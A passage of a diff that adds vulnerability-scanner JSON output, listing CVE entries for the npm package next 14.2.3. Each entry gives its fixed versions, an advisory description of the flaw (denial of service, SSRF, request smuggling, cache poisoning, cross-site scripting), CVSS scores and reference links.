+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-q4gf-8mx6-v5v3",
+ "https://vercel.com/changelog/summary-of-cve-2026-23869"
+ ],
+ "PublishedDate": "2026-04-10T15:35:47Z",
+ "LastModifiedDate": "2026-04-10T15:35:47Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2024-47831",
+ "VendorIDs": [
+ "GHSA-g77x-44xx-532m"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.7",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-47831",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:5eb64b8253cd9ef722055fd82f345f6a6e65659b753dedbe05012ded5becf9a1",
+ "Title": "next.js: Next.js image optimization has Denial of Service condition",
+ "Description": "Next.js is a React Framework for the Web. Cersions on the 10.x, 11.x, 12.x, 13.x, and 14.x branches before version 14.2.7 contain a vulnerability in the image optimization feature which allows for a potential Denial of Service (DoS) condition which could lead to excessive CPU consumption. Neither the `next.config.js` file that is configured with `images.unoptimized` set to `true` or `images.loader` set to a non-default value nor the Next.js application that is hosted on Vercel are affected. This issue was fully patched in Next.js `14.2.7`. As a workaround, ensure that the `next.config.js` file has either `images.unoptimized`, `images.loader` or `images.loaderFile` assigned.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-674"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
+ "V3Score": 5.9,
+ "V40Score": 4.6
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2024-47831",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/d11cbc9ff0b1aaefabcba9afe1e562e0b1fde65a",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-g77x-44xx-532m",
+ "https://nvd.nist.gov/vuln/detail/CVE-2024-47831",
+ "https://www.cve.org/CVERecord?id=CVE-2024-47831"
+ ],
+ "PublishedDate": "2024-10-14T18:15:05.013Z",
+ "LastModifiedDate": "2024-11-08T15:39:21.823Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2024-56332",
+ "VendorIDs": [
+ "GHSA-7m27-7ghc-44w9"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "13.5.8, 14.2.21, 15.1.2",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-56332",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:2716a32b516e3f78cb5b5a57b573383dfb5c29c51a12180b66fcd14415c4f363",
+ "Title": "next.js: Next.js Vulnerable to Denial of Service (DoS) with Server Actions",
+ "Description": "Next.js is a React framework for building full-stack web applications. Starting in version 13.0.0 and prior to versions 13.5.8, 14.2.21, and 15.1.2, Next.js is vulnerable to a Denial of Service (DoS) attack that allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution. This vulnerability can also be used as a Denial of Wallet (DoW) attack when deployed in providers billing by response times. (Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time.). Deployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing. This is the same issue as if the incoming HTTP request has an invalid `Content-Length` header or never closes. If the host has no other mitigations to those then this vulnerability is novel. This vulnerability affects only Next.js deployments using Server Actions. The issue was resolved in Next.js 13.5.8, 14.2.21, and 15.1.2. We recommend that users upgrade to a safe version. There are no official workarounds.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-770"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2024-56332",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-7m27-7ghc-44w9",
+ "https://nvd.nist.gov/vuln/detail/CVE-2024-56332",
+ "https://www.cve.org/CVERecord?id=CVE-2024-56332"
+ ],
+ "PublishedDate": "2025-01-03T21:15:13.55Z",
+ "LastModifiedDate": "2025-09-10T15:48:41.83Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-55173",
+ "VendorIDs": [
+ "GHSA-xv57-4mr9-wg8v"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.31, 15.4.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-55173",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:424c7e867f0d73a8025fe3bd44b5388ed9557aa94630c835814ae584e16e9146",
+ "Title": "nextjs: Next.js Content Injection Vulnerability for Image Optimization",
+ "Description": "Next.js is a React framework for building full-stack web applications. In versions before 14.2.31 and from 15.0.0 to before 15.4.5, Next.js Image Optimization is vulnerable to content injection. The issue allowed attacker-controlled external image sources to trigger file downloads with arbitrary content and filenames under specific configurations. This behavior could be abused for phishing or malicious file delivery. This vulnerability has been fixed in Next.js versions 14.2.31 and 15.4.5.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-20"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
+ "V3Score": 4.3
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
+ "V3Score": 4.3
+ }
+ },
+ "References": [
+ "http://vercel.com/changelog/cve-2025-55173",
+ "https://access.redhat.com/security/cve/CVE-2025-55173",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-xv57-4mr9-wg8v",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-55173",
+ "https://vercel.com/changelog/cve-2025-55173",
+ "https://www.cve.org/CVERecord?id=CVE-2025-55173"
+ ],
+ "PublishedDate": "2025-08-29T22:15:31.75Z",
+ "LastModifiedDate": "2025-09-08T16:42:57.183Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-57752",
+ "VendorIDs": [
+ "GHSA-g5qg-72qw-gw5v"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.31, 15.4.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-57752",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:537de6825cd5bc0c3f8ec3a0acefcd31e5dac41e1a48668272c0f98b6d5ae61f",
+ "Title": "nextjs: Next.js Affected by Cache Key Confusion for Image Optimization API Routes",
+ "Description": "Next.js is a React framework for building full-stack web applications. In versions before 14.2.31 and from 15.0.0 to before 15.4.5, Next.js Image Optimization API routes are affected by cache key confusion. When images returned from API routes vary based on request headers (such as Cookie or Authorization), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug. This vulnerability has been fixed in Next.js versions 14.2.31 and 15.4.5. All users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-524"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 6.2
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 6.2
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-57752",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd",
+ "https://github.com/vercel/next.js/pull/82114",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-g5qg-72qw-gw5v",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-57752",
+ "https://vercel.com/changelog/cve-2025-57752",
+ "https://www.cve.org/CVERecord?id=CVE-2025-57752"
+ ],
+ "PublishedDate": "2025-08-29T22:15:31.963Z",
+ "LastModifiedDate": "2025-09-08T16:43:50.33Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-57822",
+ "VendorIDs": [
+ "GHSA-4342-x723-ch2f"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.32, 15.4.7",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-57822",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:0bf1ef443f6d7ad178104857d38ac8ab33b7644503dfac91d2ef288442eef7f3",
+ "Title": "Next.js Improper Middleware Redirect Handling Leads to SSRF",
+ "Description": "Next.js is a React framework for building full-stack web applications. Prior to versions 14.2.32 and 15.4.7, when next() was used without explicitly passing the request object, it could lead to SSRF in self-hosted applications that incorrectly forwarded user-supplied headers. This vulnerability has been fixed in Next.js versions 14.2.32 and 15.4.7. All users implementing custom middleware logic in self-hosted environments are strongly encouraged to upgrade and verify correct usage of the next() function.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-918"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
+ "V3Score": 6.5
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
+ "V3Score": 8.2
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/9c9aaed5bb9338ef31b0517ccf0ab4414f2093d8",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-4342-x723-ch2f",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-57822",
+ "https://vercel.com/changelog/cve-2025-57822"
+ ],
+ "PublishedDate": "2025-08-29T22:15:32.143Z",
+ "LastModifiedDate": "2025-09-08T16:41:41.253Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-59471",
+ "VendorIDs": [
+ "GHSA-9g9p-9gw9-jx7f"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.10, 16.1.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-59471",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:98075f5905b28534b30d263d1bd9251f61b142f8240a18664a126db643c45584",
+ "Title": "next: NextJS Denial of Service in Image Optimizer",
+ "Description": "A denial of service vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\r\n\r\nStrongly consider upgrading to 15.5.10 or 16.1.5 to reduce risk and prevent availability issues in Next applications.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-400"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-59471",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/500ec83743639addceaede95e95913398975156c",
+ "https://github.com/vercel/next.js/commit/e5b834d208fe0edf64aa26b5d76dcf6a176500ec",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.10",
+ "https://github.com/vercel/next.js/releases/tag/v16.1.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-59471",
+ "https://www.cve.org/CVERecord?id=CVE-2025-59471"
+ ],
+ "PublishedDate": "2026-01-26T22:15:52.89Z",
+ "LastModifiedDate": "2026-02-13T15:03:20.29Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-27980",
+ "VendorIDs": [
+ "GHSA-3x4c-7xq6-9pq8"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "16.1.7, 15.5.14",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27980",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:0e2376c5c785c6d64f06692100f28bb594f25db5e325428ad230d4f889422cca",
+ "Title": "next.js: Next.js: Unbounded next/image disk cache growth can exhaust storage",
+ "Description": "Next.js is a React framework for building full-stack web applications. Starting in version 10.0.0 and prior to version 16.1.7, the default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth. An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. This is fixed in version 16.1.7 by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. If upgrading is not immediately possible, periodically clean `.next/cache/images` and/or reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`).",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-400"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "V40Score": 6.9
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-27980",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd",
+ "https://github.com/vercel/next.js/releases/tag/v16.1.7",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-27980",
+ "https://www.cve.org/CVERecord?id=CVE-2026-27980"
+ ],
+ "PublishedDate": "2026-03-18T01:16:04.957Z",
+ "LastModifiedDate": "2026-03-18T19:52:54.307Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-29057",
+ "VendorIDs": [
+ "GHSA-ggv3-7p47-pfv8"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "16.1.7, 15.5.13",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-29057",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:368d76a5c1677f921d2f0a44f41812ccb34bdedc394c5c589b6973e091c717ab",
+ "Title": "next.js: Next.js: HTTP request smuggling in rewrites",
+ "Description": "Next.js is a React framework for building full-stack web applications. Starting in version 9.5.0 and prior to versions 15.5.13 and 16.1.7, when Next.js rewrites proxy traffic to an external backend, a crafted `DELETE`/`OPTIONS` request using `Transfer-Encoding: chunked` could trigger request boundary disagreement between the proxy and backend. This could allow request smuggling through rewritten routes. An attacker could smuggle a second request to unintended backend routes (for example, internal/admin endpoints), bypassing assumptions that only the configured rewrite destination/path is reachable. This does not impact applications hosted on providers that handle rewrites at the CDN level, such as Vercel. The vulnerability originated in an upstream library vendored by Next.js. It is fixed in Next.js 15.5.13 and 16.1.7 by updating that dependency’s behavior so `content-length: 0` is added only when both `content-length` and `transfer-encoding` are absent, and `transfer-encoding` is no longer removed in that code path. If upgrading is not immediately possible, block chunked `DELETE`/`OPTIONS` requests on rewritten routes at the edge/proxy, and/or enforce authentication/authorization on backend routes.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-444"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "V40Score": 6.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
+ "V3Score": 6.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
+ "V3Score": 6.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-29057",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/commit/dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.13",
+ "https://github.com/vercel/next.js/releases/tag/v16.1.7",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-ggv3-7p47-pfv8",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-29057",
+ "https://www.cve.org/CVERecord?id=CVE-2026-29057"
+ ],
+ "PublishedDate": "2026-03-18T01:16:05.443Z",
+ "LastModifiedDate": "2026-03-18T19:49:19.633Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44576",
+ "VendorIDs": [
+ "GHSA-wfc6-r584-vfw7"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44576",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:5b504aaf80e72f01f9351dc645eda55adef91776e0fadd8bca700ec4cf6981f7",
+ "Title": "Next.js: Next.js: Cache poisoning vulnerability in React Server Components",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 14.2.0 to before 15.5.16 and 16.2.5, applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-436"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
+ "V3Score": 5.4
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
+ "V3Score": 5.4
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44576",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-wfc6-r584-vfw7",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44576",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44576"
+ ],
+ "PublishedDate": "2026-05-13T17:16:23.04Z",
+ "LastModifiedDate": "2026-05-14T13:44:18.27Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44577",
+ "VendorIDs": [
+ "GHSA-h64f-5h5j-jqjh"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44577",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:5928c3a09a932d2e3dda6dc4c71c417dddd1d168b2ab60ed99cd27967c510fa3",
+ "Title": "Next.js: Next.js: Denial of Service via Image Optimization API",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 10.0.0 to before 15.5.16 and 16.2.5, when self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-770"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44577",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-h64f-5h5j-jqjh",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44577",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44577"
+ ],
+ "PublishedDate": "2026-05-13T17:16:23.173Z",
+ "LastModifiedDate": "2026-05-13T20:00:59.993Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44580",
+ "VendorIDs": [
+ "GHSA-gx5p-jg67-6x7h"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44580",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:223968b899125a59b5a52e3d3cb4383e9102010d64fd4d0d2eb5ad68e8a25996",
+ "Title": "Next.js has cross-site scripting in beforeInteractive scripts with untrusted input",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 13.0.0 to before 15.5.16 and 16.2.5, applications that use beforeInteractive scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-79"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ }
+ },
+ "References": [
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-gx5p-jg67-6x7h",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44580"
+ ],
+ "PublishedDate": "2026-05-13T18:16:18.26Z",
+ "LastModifiedDate": "2026-05-14T18:33:34.17Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44581",
+ "VendorIDs": [
+ "GHSA-ffhc-5mcf-pf4q"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44581",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:3dd9a0e34c2e90ba3cefe7a455892cf24c825a44bae466f74e7fa06a21a4ee52",
+ "Title": "next.js: Next.js: Stored Cross-Site Scripting via malformed nonce values in cached responses",
